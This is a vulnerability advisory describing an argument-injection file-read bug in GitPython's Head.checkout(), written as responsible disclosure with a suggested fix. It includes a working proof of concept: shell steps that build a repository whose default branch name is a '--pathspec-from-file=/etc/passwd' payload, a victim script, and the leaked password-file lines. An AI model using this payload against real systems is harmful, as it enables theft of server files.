GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679, at the method named by CVE-2026-76217)
What fixes it
No source in this snapshot names a fixed version.
Description
> A note on the referenced files. This report was submitted through GitHub's private > vulnerability reporting API, which carries no attachments. Every transcript this report leans > on is reproduced inline above, verbatim. The file names it mentions (poc.sh, poc.log, > per-case transcripts, evidence.md, negative-controls.md, blob-sweep tables) are the local > evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy > to send the bundle by any channel you prefer, or to open a private fork — just say which. The > PoC scripts are self-contained and reproduce the result from a clean environment.
---
Severity: High CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N → 7.5 (High) CWE: CWE-88 (Argument Injection) · CWE-73 (External Control of File Name or Path) · CWE-200 (Exposure of Sensitive Information) Affected: <= 3.1.62 — all published releases; also main @ 4905b4af Verified at runtime: GitPython 3.1.62 with git 2.55.0 Date: 2026-09-10 Reporter: MAXI8594
---
Threat model
| | | |---|---| | Attacker | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. | | Pre-need | a repository they host, with HEAD pointing at a branch whose name is the payload. A git push to a plain git server is enough — no filesystem access to a server is required (raw/06). | | Gets | the contents of any file the application's process can read, returned in band through the exception. /etc/passwd recovered 34 of 34 lines. | | Real-world likelihood | High. The vulnerable consumer is six lines of ordinary code with no unusual configuration: Repo.clone_from(user_url) then repo.active_branch.checkout(). allow_unsafe_options=False is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots. |
On severity relative to the sibling advisories. GitHub, as CNA, scored the three prior advisories in this class at 6.5 / PR:L (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This report asks for 7.5 / PR:N, and the difference is one measured fact: in those three, the application had to pass an attacker-influenced value into the API. Here it passes nothing — the clone materialises the hostile branch on its own and repo.active_branch returns it (raw/02). If that reading is not accepted, the PR:L path via Repo.create_head() is also real and lands at 6.5, matching the siblings.
Summary
Head.checkout() guards its **kwargs against unsafe Git options but never inspects its own positional argument — the branch name — which reaches the git checkout argv with no -- separator. A repository whose default branch is named --pathspec-from-file=/etc/passwd makes a consumer that merely clones it and checks out the default branch return the entire contents of that file to the caller.
This is the exact combination of two advisories the project already fixed:
- CVE-2026-76217 (
GHSA-hh9p-6wh2-4mfc) — *"Arbitrary file read via--pathspec-from-filein
IndexFile.remove() **and Head.checkout()**"*. Fixed in 3.1.58 by commit f2550b65, which added the guard to this exact method — but only for **kwargs.
- CVE-2026-78679 (
GHSA-3wxw-xv34-2frg) — *"TagReference.createpositional reference
bypasses kwargs-only --file guard, enabling arbitrary file read (incomplete fix of 3af0c251)"*. Fixed in 3.1.59 by commit 1b0d2d9b, which applied the positional check to git/refs/tag.py, git/diff.py, git/index/base.py and git/repo/base.py — but not to git/refs/head.py:286.
f2550b65 states in its own commit message that the audit found the positional variant and applied it to HEAD.reset — 185 lines above Head.checkout, in the same file, in the same commit:
> "The audit also found that reset's positional commit could carry the option before its argument > separator. […] Check reset's positional commit as well as keyword options"
HEAD.reset got the fix. Head.checkout did not, and 1b0d2d9b did not come back for it.
Affected Asset
| | | |---|---| | Package | GitPython (PyPI) | | Affected versions | **<= 3.1.62** — all published releases | | Latest release tested | 3.1.62 | | Also present on | main @ 4905b4af | | Vulnerable file | git/refs/head.py | | Guard | line 286 — Git._option_candidates([], kwargs) | | Sink | line 293 — self.repo.git.checkout(self, **kwargs) | | CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) | | CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N → 7.5 High |
The version range was established by blob hash against every tag, not by dates: the sink line self.repo.git.checkout(self, **kwargs) — with no -- separator — is present in git/refs/head.py in every tag from 0.3.1-beta2 through 3.1.62. The 3.1.62 blob is byte-identical to main: 7f563374ef9e018b3d5f95054498e8591e112ce2. Full sweep in raw/07-blob-version-sweep.txt.
The kwargs-only guard first appears in 3.1.58, so 3.1.58–3.1.62 is where "incomplete fix" applies; earlier releases have the same sink with no guard at all.
Vulnerability Details
Root cause
git/cmd.py:1045 — _option_candidates() only inspects the positionals it is handed:
@classmethod
def _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]:
"""Collect possible option spellings before command-line transformation."""
options = [
option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith("-")
]So _option_candidates([], kwargs) means: *check the keyword arguments, never check the positional arguments this method puts on the command line.* That is fine when the method has no attacker-influenced positional, or when it separates them with --.
git/refs/head.py:283-293 — Head.checkout() has neither:
if not allow_unsafe_options:
Git.check_unsafe_options(
options=Git._option_candidates([], kwargs),
unsafe_options=Git.unsafe_git_pathspec_from_file_options,
)
kwargs["f"] = force
if kwargs["f"] is False:
kwargs.pop("f")
self.repo.git.checkout(self, **kwargs)self is the only positional. It serialises to the branch name, lands in the git checkout argv, and is not in the list the guard inspects. _call_process builds args_list = opt_args + ext_args, so keyword-derived options precede positionals — which is why the rest of the library puts "--" first (Remote.fetch/pull/push, Repo._clone, Repo.archive, IndexFile.remove, Commit.count all do). Head.checkout does not.
Why the branch name is attacker-controlled
Git accepts a refname whose branch component begins with - and contains / (raw/02-refname-accepted-and-cloned.txt):
>>> git check-ref-format 'refs/heads/--pathspec-from-file=/etc/passwd'
exit=0 stderr=''
=> un refname que empieza con '-' y lleva '/' es VALIDO para git
>>> git -C <bare> update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' beea87239099
exit=0 stderr=''
>>> git -C <bare> symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'
exit=0
HEAD del bare = refs/heads/--pathspec-from-file=/etc/passwd
ref en disco como arbol jerarquico: True
>>> Repo.clone_from('file://<bare>', <victim>) # la app solo clona
ramas LOCALES creadas por el clone, sin que nadie las pida:
refs/heads/--pathspec-from-file=/etc/passwd
repo.active_branch.name = '--pathspec-from-file=/etc/passwd'
coincide con el nombre hostil: TrueThe transcript above also shows the second half: git clone materialises that branch locally on its own when the remote HEAD points at it — the consuming application never asks for it.
A plain git server accepts the refname over receive-pack, with no --force and no special config (raw/06-push-accepts-refname.txt), so the attacker does not need filesystem access to a server — a git push is enough. That measurement, and the clone in raw/02, both use the file:// transport, which exercises the same git wire protocol as https://; I did not test against a hosted forge, since that would mean writing to a third party.
Why the leak reaches the caller
The file contents are in CommandError.__str__, not only in the .stderr attribute (git/exc.py):
self.stderr = stderr_decode and "\n stderr: '%s'" % stderr_decode or ""
def __str__(self) -> str:
return (self._msg + "\n cmdline: %s%s%s") % (
self._cmd, self._cause, self._cmdline, self.stdout, self.stderr,
)So logging.exception(...), print(e), or simply not catching the exception all disclose the file. The developer does not have to know .stderr exists.
Full chain
Repo.clone_from(<attacker URL>) ↓ remote HEAD points at refs/heads/--pathspec-from-file=/etc/passwd ↓ git clone creates that LOCAL branch unasked repo.active_branch → Head with name = "--pathspec-from-file=/etc/passwd" ↓ Head.checkout() git/refs/head.py:286 — guard inspects kwargs only ↓ self.repo.git.checkout(self, **kwargs) git/refs/head.py:293 — no "--" git checkout --pathspec-from-file=/etc/passwd ↓ git emits one `error:` per unmatched pathspec — one per line of the file GitCommandError → CommandError.__str__ → the consumer
Steps to Reproduce
Environment: GitPython 3.1.62, git 2.55.0, Linux x86_64, disposable venv. Everything local — temporary repositories and the file:// transport. No remote hosts, no third-party repositories.
The bundled poc.sh runs all seven scenarios as a single unit and writes poc.log plus one file per scenario under raw/. Minimal manual reproduction:
python3 -m venv /tmp/gp && /tmp/gp/bin/python -m pip install gitpython==3.1.62
W=$(mktemp -d)
git init -q -b main "$W/a"; echo x > "$W/a/f.txt"
git -C "$W/a" add f.txt
git -C "$W/a" -c user.email=a@b -c user.name=a commit -qm c
git clone -q --bare "$W/a" "$W/a.git"
SHA=$(git -C "$W/a.git" rev-parse HEAD)
# the attacker names their default branch after the file they want
git -C "$W/a.git" update-ref 'refs/heads/--pathspec-from-file=/etc/passwd' "$SHA"
git -C "$W/a.git" symbolic-ref HEAD 'refs/heads/--pathspec-from-file=/etc/passwd'
cat > "$W/consumer.py" <<'PYEOF'
import logging, sys, git
logging.basicConfig(level=logging.INFO, format="%(message)s")
try:
repo = git.Repo.clone_from(sys.argv[1], sys.argv[2]) # user-supplied URL
repo.active_branch.checkout() # ensure a clean working tree
except git.exc.GitCommandError:
logging.exception("clone failed")
PYEOF
/tmp/gp/bin/python "$W/consumer.py" "file://$W/a.git" "$W/victim"Raw Request
The real git checkout argv, captured by instrumenting Git.execute (raw/01-real-argv.txt). This is the command GitPython actually built — the branch name became an option:
argv real : ['git', 'checkout', '--pathspec-from-file=/tmp/gpargv-9im8ao2d/SECRET.txt']
Raw Response
Observed output (raw/05-six-line-consumer.txt, tail) — git emits one error: line per unmatched pathspec, which is one per line of the target file:
error: pathspec 'mysql:x:958:958:MariaDB:/var/lib/mysql:/usr/bin/nologin' did not match any file(s) known to git error: pathspec 'flatpak:x:957:957:Flatpak system helper:/:/usr/bin/nologin' did not match any file(s) known to git error: pathspec 'wazuh:x:956:955:Wazuh Agent:/var/ossec:/usr/sbin/nologin' did not match any file(s) known to git error: pathspec 'jdownloader:x:955:954:jdownloader:/opt/JDownloader/:/bin/false' did not match any file(s) known to git error: pathspec 'cups-browsed:x:953:953:CUPS printer discovery:/:/usr/bin/nologin' did not match any file(s) known to git'
raw/03-full-file-disclosure.txt counts the recovery against the real file:
Archivo objetivo: /etc/passwd (34 lineas no vacias) [CASO] repo.active_branch.checkout() — nadie paso un nombre de rama repo.active_branch.name = '--pathspec-from-file=/etc/passwd' -> GitCommandError. Lineas de /etc/passwd recuperadas: 34 de 34
Impact
An attacker who can get an application to clone a repository they control reads any file the application's process can read, with the contents returned in band. /etc/passwd was recovered in full (34 of 34 lines) in the run recorded in poc.log.
The attacker needs no account and no privilege in the consuming application, and no configuration change anywhere: allow_unsafe_options=False is the default, and the vulnerable consumer is six lines of ordinary code. This is the central use case of the library — CI systems, repository importers, scanners and bots that clone user-supplied URLs.
Impact precondition
Holds if: the consuming application clones a repository whose default branch name the attacker chose, and then calls Head.checkout() on it — most commonly as repo.active_branch.checkout(), which needs no branch-name input from the application at all.
Source writer: the attacker, via the remote repository's HEAD and refs. Verified two ways — git update-ref + symbolic-ref on a bare repository, and git push to a plain git server, which receive-pack accepts without --force or special configuration (raw/02-refname-accepted-and-cloned.txt, raw/06-push-accepts-refname.txt). The application never writes the branch name; git clone materialises it.
Observed in: validation/gitpython/head-checkout-positional-pathspec/ — GitPython 3.1.62 (latest release) with git 2.55.0, in the single run recorded in poc.log (2026-09-10T02:10:23-03:00). File read: /etc/passwd, 34 of 34 lines recovered by the caller.
Scoring
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N → 7.5 High
ISS = 1 - (1-0.56)(1-0)(1-0) = 0.56 Imp = 6.42 × 0.56 = 3.5952 Expl = 8.22 × 0.85 × 0.77 × 0.85 × 0.85 = 3.8870 Base = roundup(min(3.5952 + 3.8870, 10)) = roundup(7.4822) = 7.5
PR:N because the privilege is measured in the vulnerable component: the attacker needs no credential in GitPython or in the consuming application, only that the application fetch a URL.
A second, weaker path exists where the application passes an externally supplied branch name to Repo.create_head() and then checks it out — Repo.create_head() does not validate the name. That path is read from source and was not exercised in the attached run. That path is PR:L → 6.5, matching this project's own three prior advisories in the same class (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). Both paths are real; the report is scored on the worse one, per CVSS guidance.
Limits, stated plainly
- Only the full long spelling works, because a refname cannot contain a space and is therefore a
single argv token; git rejects the abbreviated forms. This was established while developing the payload and is not part of the attached run — the run exercises the working spelling only.
- The attacker must know an absolute path to the target file.
- Lines are disclosed only when they do not match a path in the repository. With a one-file hostile
repository none of them do, so the attacker controls this condition too.
- The full-file result was measured on git 2.55.0, where
git checkoutemits oneerror:per
unmatched pathspec. GHSA-hh9p-6wh2-4mfc notes that --pathspec-from-file alone quotes only the first line — that holds for git rm, which aborts with fatal: on the first. It does not hold for git checkout on 2.55.0.
Negative control
Full statement of what each control isolates and what would invalidate it: negative-controls.md. Every batch opens and closes with a positive control; if the closing one does not fire, the batch is discarded.
Positive control (opening and closing, 4 batches). Head.checkout(pathspec_from_file="/etc/passwd") — the same payload via kwargs. Fires in every batch: UnsafeOptionError: --pathspec-from-file is not allowed, use allow_unsafe_options=True to allow it. This proves the guard exists, is active under the default, and recognises the option — so a null result elsewhere cannot be the instrument failing to reach the code.
Negative control. The identical call on a branch named benigna. One variable changes: the leading -. Result: ['git', 'checkout', 'benigna'], no exception, 0 lines disclosed.
Precision control — the asymmetry inside one file (raw/04-precision-control-reset-vs-checkout.txt). The same payload against the two methods in git/refs/head.py that received the guard in the same commit, 185 lines apart:
[CONTROL DE PRECISION] mismo archivo, mismo commit de fix, dos metodos HEAD.reset(commit=PAYLOAD) guard SI mira el posicional BLOQUEADO por el guard (--pathspec-from-file i fuga= 0 lineas [OK] Head.checkout() guard NO mira el posicional GitCommandError fuga=34 lineas [OK]
HEAD.reset (head.py:101, _option_candidates([commit], kwargs)) blocks what Head.checkout (head.py:286, _option_candidates([], kwargs)) lets through. This rules out the alternative explanation that any string containing --pathspec-from-file reaching git would disclose the file.
Remediation
One line, consistent with what f2550b65 already did for HEAD.reset in this same file:
options=Git._option_candidates([self], kwargs),
The other candidate was evaluated and rejected. Writing self.repo.git.checkout("--", self, **kwargs) would match the -- pattern used elsewhere in the library and would also cover future git checkout options — but it changes the semantics and breaks the method: in git checkout -- <arg>, everything after -- is a *pathspec*, not a branch. The command would stop switching branches and start restoring files. The -- pattern works for fetch/pull/push/clone/archive/rm because their positionals genuinely are non-branch operands; it does not transfer here.
For defence in depth, Repo.create_head() could reject branch names beginning with -, which would also close the weaker PR:L path. That is a separate, optional change.
Prior art and de-duplication
All GitPython advisories in the GitHub database were reviewed — gh api advisories -f ecosystem=pip -f affects=GitPython -f per_page=100 --paginate returns 47 (the same command without per_page returns only the first page of 30). Head.checkout appears in two rows, one of which (GHSA-w672-…) is a withdrawn duplicate, leaving one substantive advisory:
- **
GHSA-hh9p-6wh2-4mfc/ CVE-2026-76217 — same method, but the kwargs** path
(pathspec_from_file=…, pathspec_file_nul=True), fixed in 3.1.58. That path is closed today; it is the positive control in every batch of this report. The positional path is not covered by it.
Neighbours, none overlapping:
- **
GHSA-3wxw-xv34-2frg/ CVE-2026-78679 — the same class** (positional bypasses a kwargs-only
guard) in a different method, TagReference.create, fixed in 3.1.59 by 1b0d2d9b. That is the patch that did not come back to head.py:286.
- **
GHSA-956x-8gvw-wg5v/ CVE-2026-67323** — precedent for "a value placed before the--with no
leading-dash check", in Repo.iter_commits / Repo.blame. Those sites now pass their positional to the guard; this one does not.
- **
GHSA-7545-fcxq-7j24/ CVE-2026-44243** — path traversal via ref names in the reference APIs.
Different sink (filesystem path construction) and different impact (write and delete), but it establishes that attacker-influenced ref names is a premise this project has already accepted.
No open fix proposal
Searched across three surfaces, because gh search issues excludes pull requests: gh search prs, gh search issues and the raw search/issues API. **No open or closed issue or pull request proposes passing the positional to the guard in Head.checkout.** The three PRs that touch this guard (#2204, #2180, #2163) are all merged and none of them does it — #2204 is the PR that introduced *both* call sites in this file, one checking its positional and one not. Full matrix in dup-check.md.
The project's own tests carry the same asymmetry
test/test_refs.py exercises the guard for both methods, and covers exactly the difference this report is about:
HEAD.reset— the positional is tested (lines 304-308).Head.checkout— only the kwargs path is tested (lines 282-291).
So the positional variant is a case the suite already knows how to write; it just was not written for checkout. The docstring added by #2204 to Head.checkout states that --pathspec-from-file requires opt-in via allow_unsafe_options — which is precisely the guarantee the positional path does not deliver. Nothing in the project declares the positional acceptable here.
Why the one-line fix works, which is not obvious
Reference.__str__ returns self.name, not self.path. Reference.name strips the first two path components (reference.py:122-132), so a Head constructed on refs/heads/--pathspec-from-file=/etc/passwd passes check_path — the *path* does begin with refs/heads/ — while str() yields the bare option. Passing [self] to _option_candidates makes the guard see that same serialised string, which is why the one-line change closes it.
Evidence
| File | What it establishes | |---|---| | poc.sh | driver — runs all seven scenarios as one unit | | poc.log | full transcript of the single reference run | | raw/00-versions-and-source.txt | version under test is the published one; guard and sink present; def checkout( appears once, so the sink line is unambiguous | | raw/01-real-argv.txt | real git checkout argv, captured by instrumenting Git.execute | | raw/02-refname-accepted-and-cloned.txt | git accepts the refname; Repo.clone_from materialises it unasked | | raw/03-full-file-disclosure.txt | 34 of 34 lines of /etc/passwd recovered | | raw/04-precision-control-reset-vs-checkout.txt | HEAD.reset blocks what Head.checkout allows | | raw/05-six-line-consumer.txt | six-line consumer, verbatim; leaks when the exception is logged and when it is uncaught | | raw/06-push-accepts-refname.txt | a plain git server accepts the refname over push | | raw/07-blob-version-sweep.txt | affected range by blob hash, tag by tag | | negative-controls.md | what each control isolates and what would invalidate it | | evidence.sha256 | integrity of every raw file and script |
Disclosure
Reported privately through GitHub private vulnerability reporting. No third-party systems were touched: every repository in this report is a temporary local one, and all transport is file://.
Text from GitHub Advisory Database
Affected versions 1
- GitPython, pip<= 3.1.62GitHub